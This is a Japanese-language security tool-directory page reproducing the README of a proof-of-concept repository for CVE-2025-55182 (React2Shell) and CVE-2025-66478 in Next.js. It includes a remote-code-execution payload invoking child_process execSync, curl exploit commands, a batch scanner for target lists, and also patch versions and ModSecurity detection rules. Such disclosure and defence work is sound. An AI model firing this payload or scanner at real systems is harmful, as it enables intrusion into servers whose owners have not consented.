Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-POC | Kitploit
ツール/GitHubGitHub/huahuai23/cve-2025-55182-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

リポジトリを見る
18ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 / CVE-2025-66478 脆弱性再現環境

これは React2Shell (CVE-2025-55182) および Next.js RSC RCE (CVE-2025-66478) の脆弱性を再現するための最小限の MVP です。

⚠️ 警告

このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境や許可のないシステムでは使用しないでください。

脆弱性の概要

CVE-2025-55182 は React Server Components における深刻な脆弱性であり、以下に影響します:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

攻撃者は特別に細工した multipart/form-data リクエストを利用して Flight Protocol の逆シリアル化の脆弱性を悪用し、リモートコード実行(RCE)を達成できます。

攻撃の原理

  1. Chunk 参照の取得: $@N 構文を使用して内部の Chunk オブジェクトを取得する
  2. プロトタイプ汚染: $1:__proto__:then を通じて悪意のある then メソッドを注入する
  3. 実行のトリガー: Server Action が await の際に汚染された then メソッドを呼び出す
  4. コンストラクタのハイジャック: _formData.get を Function コンストラクタにハイジャックする
  5. コード実行: Blob の逆シリアル化を通じて任意のコードを実行する

クイックスタート

1. 依存関係のインストール

root@kitploit:~
npm install
# 或
yarn install
# 或
pnpm install

2. 開発サーバーの起動

root@kitploit:~
npm run dev

サーバーは http://localhost:3000 で起動します。

3. 脆弱性のテスト

提供されているテストスクリプトを使用します:

root@kitploit:~
# 单个目标测试
./test-exploit.sh http://localhost:3000

# 或直接使用 curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

脆弱性が存在する場合、レスポンスに uid= のような出力(id コマンドの実行結果)が表示されます。

ファイル構造

root@kitploit:~
.
├── app/
│   ├── actions.ts              # Server Actions(漏洞触发点)
│   ├── page.tsx                # 主页面
│   ├── layout.tsx              # 布局
│   └── globals.css             # 全局样式
├── package.json                # 依赖配置(使用受影响版本)
├── next.config.js              # Next.js 配置
├── test-exploit.sh             # 单个目标漏洞测试脚本
├── scan-targets.sh             # 批量扫描脚本
├── exploit-payload.txt         # Exploit payload 文件
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity 防护规则
└── README.md                   # 本文件

テストスクリプトの説明

1. test-exploit.sh - 単一ターゲットのテスト

単一の URL に脆弱性が存在するかテストします:

root@kitploit:~
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

特徴: レスポンスに uid= または gid= が含まれる場合、脆弱性が存在することを示します。

2. scan-targets.sh - バッチスキャン

複数のターゲット URL をバッチスキャンします:

root@kitploit:~
# 创建目标列表文件
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# 执行批量扫描
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

スキャン結果は vulnerable_hosts.csv に保存されます。

Payload 構造の解析

root@kitploit:~
{
  "then": "$1:__proto__:then",           // 劫持 then 方法
  "status": "resolved_model",             // 控制执行路径
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // 触发 Blob 反序列化
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // 劫持为 Function
    }
  }
}

重要なポイント:

  1. $@0: 最初の form-data フィールドを参照して Chunk オブジェクトを取得する
  2. $1:proto:then: Chunk.prototype.then にアクセスする
  3. _response._prefix: 注入された悪意のあるコード(Function コンストラクタによって実行される)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

修正方法

方法 1: 修正済みバージョンへのアップグレード(推奨)

  • React: 19.0.1, 19.1.2, 19.2.1 以降
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 以降
root@kitploit:~
npm install [email protected] [email protected] [email protected]

方法 2: ModSecurity WAF ルールの導入(一時的な緩和策)

すぐにアップグレードできない場合は、ModSecurity ルールを導入して一時的に緩和できます。

Apache + mod_security

root@kitploit:~
# 1. 安装 mod_security
sudo apt-get install libapache2-mod-security2

# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. 在 Apache 配置中引入规则
sudo vim /etc/apache2/mods-enabled/security2.conf
# 添加: Include /etc/modsecurity/modsecurity-rules.conf

# 4. 重启 Apache
sudo systemctl restart apache2

Nginx + ModSecurity

root@kitploit:~
# 1. 安装 ModSecurity for Nginx
sudo apt-get install libnginx-mod-security

# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. 在 Nginx 配置中启用
sudo vim /etc/nginx/nginx.conf
# 在 http 或 server 块中添加:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. 重启 Nginx
sudo systemctl restart nginx

ルールの検出特徴

ModSecurity ルールは以下の特徴をブロックします:

  • ✅ Flight Protocol の特徴($@N, $BN)
  • ✅ プロトタイプ汚染(__proto__, constructor:constructor)
  • ✅ 危険な Node.js モジュール呼び出し(process.mainModule.require, require('child_process'))
  • ✅ コマンド実行関数(execSync, exec)
  • ✅ 内部オブジェクト操作(_response, _chunks, _formData, _prefix)
  • ✅ Server Action リクエストヘッダー(Next-Action, RSC-Action-ID)

⚠️ 注意: WAF ルールは一時的な緩和策に過ぎず、完全な保護を提供するものではありません。修正済みバージョンへのアップグレードが必要です。

セキュリティ推奨事項

アプリケーションが影響を受ける可能性がある場合:

  1. すぐに検出: test-exploit.sh スクリプトを使用してアプリケーションをテストする
  2. すぐにアップグレード: 修正済みバージョンにアップグレードする
  3. キーのローテーション: すべての環境変数、API キー、データベースパスワードをローテーションする
  4. ログの監査: アクセスログを確認し、不審な Next-Action リクエストを探す
  5. WAF の導入: アップグレード前に ModSecurity ルールを一時的な防御として導入する

クイックテスト用 curl コマンド

スクリプトを使用せずに curl で直接テストする場合:

root@kitploit:~
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

レスポンスに uid= または gid= が含まれる場合、脆弱性が存在することを示します。

参考資料

  • Vercel 公式発表
  • React GHSA
  • Next.js GHSA
  • CVE PoC (React)
  • CVE Scanner (Next.js)
  • ModSecurity ドキュメント

謝辞

  • Lachlan Davidson - この脆弱性を発見し、責任を持って報告しました
  • Meta Security & React Team
  • Vercel Team

ライセンス

このプロジェクトは教育目的のみに使用されます。本コードを使用する際は、関連する法律および規制を遵守してください。

ツールをダウンロード